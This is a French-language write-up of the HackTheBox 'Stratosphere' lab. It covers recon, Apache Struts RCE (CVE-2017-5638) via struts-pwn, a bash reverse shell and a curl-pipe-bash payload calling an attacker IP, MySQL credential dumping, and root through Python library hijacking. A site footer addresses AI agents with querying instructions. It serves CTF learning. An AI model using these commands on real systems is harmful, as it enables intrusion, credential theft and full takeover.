> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md).

# Compte rendu de Stratosphere HackTheBox

{% embed url="<https://app.hackthebox.com/machines/437>" %}

{% hint style="warning" %}
**Compétences :**

* Exploitation d'Apache Struts (CVE-2017-5638)
* Détournement de bibliothèque Python (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/583f13882fa5776b564212bcc6050a28704bfa8f" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/0336fd288842a1a3b95d92734a55a824f44aa265" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts
```

<figure><img src="/files/fe0ce04c1d5ad63a3c8799f2956f1c521ecc0a0d" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec ExtractPorts (**&#x32;2.80.808&#x30;**)**

Utilisation de la fonction extractPorts pour afficher les ports ouverts de manière concise et les copier dans le presse-papiers.

<figure><img src="/files/ad06d2668d27f00c1f16dcf41341ecb230b9ea5c" alt="" width="563"><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisation de Nmap pour analyser les versions des ports et extraire les informations dans le fichier « targeted »

```bash
nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted
```

<figure><img src="/files/de90e3b1fa218b57190653906775d5d4b80600e2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/09f2621d7bcae515ac3df5a7701836942bc21a7c" alt=""><figcaption></figcaption></figure>

### /*/Exploration des services web (ports 80 et 8080) //*

Les ports 80 et 8080 hébergent le même site web.

<figure><img src="/files/8b6907df05cd8f7579fc425840c6d8348daaffed" alt=""><figcaption></figcaption></figure>

### Fuzzing avec **Gobuster**

Nous lançons `Gobuster` pour rechercher des répertoires intéressants

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

{% endcode %}

Nous découvrons les chemins suivants :

* `/manager` - Interface du gestionnaire Tomcat
* `/monitoring` - Section de surveillance

<figure><img src="/files/c0b9526467e2a45d91d933e5af5be4fba496331e" alt=""><figcaption></figcaption></figure>

### Gestionnaire - Tomcat :

<figure><img src="/files/e9efc2754749c3e3844ba2615e2d4ceae9b3eb46" alt=""><figcaption></figcaption></figure>

### Surveillance :

<figure><img src="/files/5ea4e654ded7e35a8391078adbd98408ce950b1a" alt=""><figcaption></figcaption></figure>

## Exploitation d'Apache Struts (CVE-2017-5638)

#### **Exploration du répertoire de surveillance**

En essayant de s'inscrire, nous obtenons un message d'erreur. Nous observons également une extension `.action`, indiquant potentiellement une application basée sur Apache Struts

<figure><img src="/files/35b3c9cea43bb32593d81a9c7ddc9a5fb4f8eed6" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

Nous utilisons `struts-pwn.py` pour tester l'exécution de commandes à distance :

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

La commande fonctionne, confirmant la vulnérabilité.

<figure><img src="/files/89494a4b97da3f2c1333317d5c6f07cfdba7257c" alt=""><figcaption></figcaption></figure>

#### **Shell inversé**

1. Écoute avec Netcat :

```bash
nc -nvlp 443
```

2. Création d'un `index.html` fichier contenant notre shell inversé :

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Hébergement du fichier avec un serveur web Python :

```
python3 -m http.server 8080
```

4. Lancer le shell inversé via l'exploit :

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

Malheureusement, cette approche échoue.

### **Extraction d'informations sensibles**

Nous listons les fichiers sur le serveur :

<figure><img src="/files/4cc561fa78dc9f48d5c8e58937e035227c464066" alt=""><figcaption></figcaption></figure>

Nous découvrons un `db_connect` fichier. En l'affichant, nous obtenons des identifiants :

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="/files/392b0ccf92438de69adccbdccc3477de4cd63b3c" alt=""><figcaption></figcaption></figure>

Les informations récupérées à partir des identifiants MySQL :

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="/files/bf6649b1e61b1b4894b34740b8a5491cd4077cc3" alt=""><figcaption></figcaption></figure>

### Informations d'extraction - mysqlshow

#### **Énumération des bases de données**

Nous utilisons `mysqlshow` pour lister les bases de données accessibles avec l'utilisateur `admin` en exploitant une vulnérabilité Struts via `struts-pwn.py`:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin"
```

{% endcode %}

<figure><img src="/files/eb3cba11e22e72606348df8c0fe70bcf2bcb2cb1" alt=""><figcaption></figcaption></figure>

Cela nous permet d'identifier la base de données **users**.

#### **Résumé des tables**

Puis nous listons les tables de la base **users**:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users
```

{% endcode %}

<figure><img src="/files/e07717dcd83109ef7806c3d58e4ff00bc862b70a" alt=""><figcaption></figcaption></figure>

#### **Énumération des colonnes et extraction des identifiants**

Nous listons maintenant les colonnes de la table **accounts** et essayons d'en extraire le contenu

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts"
```

{% endcode %}

<figure><img src="/files/612e5169cc9c6c5fe9705a666773b606827fdbf3" alt=""><figcaption></figcaption></figure>

Nous obtenons les informations suivantes :

* **Nom d'utilisateur**: `richard`
* **Mot de passe**: `9tc*rhKuG5TyXvUJOrE^5CK7k`

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users'
```

{% endcode %}

<figure><img src="/files/1225ff7597158c5b739ffe3b3d63c0befdf66ae7" alt=""><figcaption></figcaption></figure>

Nous utilisons les informations trouvées pour nous connecter en SSH à la machine cible :

```bash
ssh richard@10.10.10.64
```

<figure><img src="/files/688c8da6caf572066bff78466f794e508c1133d2" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

<figure><img src="/files/308c4aa962da2f8fb1018d09eb196413c0f95c65" alt="" width="563"><figcaption></figcaption></figure>

## Élévation de privilèges

### Élévation de privilèges par détournement de bibliothèque Python

D'abord, vous exécutez la commande suivante pour lister les `sudo` droits :

<figure><img src="/files/56f254c3bb91270c876fb87c6ef0ccd87bcf5d59" alt=""><figcaption></figcaption></figure>

Nous constatons que nous avons l'autorisation d'exécuter un script Python en tant que `root`:

```bash
(ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py
```

<figure><img src="/files/df7ddeb4b3eff080e4e607757ba8103a0ad71040" alt=""><figcaption></figcaption></figure>

En analysant le `/home/richard/test.py` script, on observe qu'il importe un module sans spécifier son chemin absolu, par exemple :

```
import os
os.system("bash")
```

Ensuite, nous exécutons le script en tant que `root`:

```bash
sudo /usr/bin/python3.7 /home/richard/test.py
```

* Une fois le script lancé, notre version malveillante de `fichier hashlib.py` est chargée, lançant un shell avec `root` des privilèges.

<figure><img src="/files/a4351aa7e4958b89fd160aab853764bea337da43" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/070cc42e0f8adc34aa6e3dbb5d3b481209babd46" alt="" width="546"><figcaption></figcaption></figure>

<figure><img src="/files/acc3b1ffb16e9b33f797725728b8298974787408" alt="" width="375"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
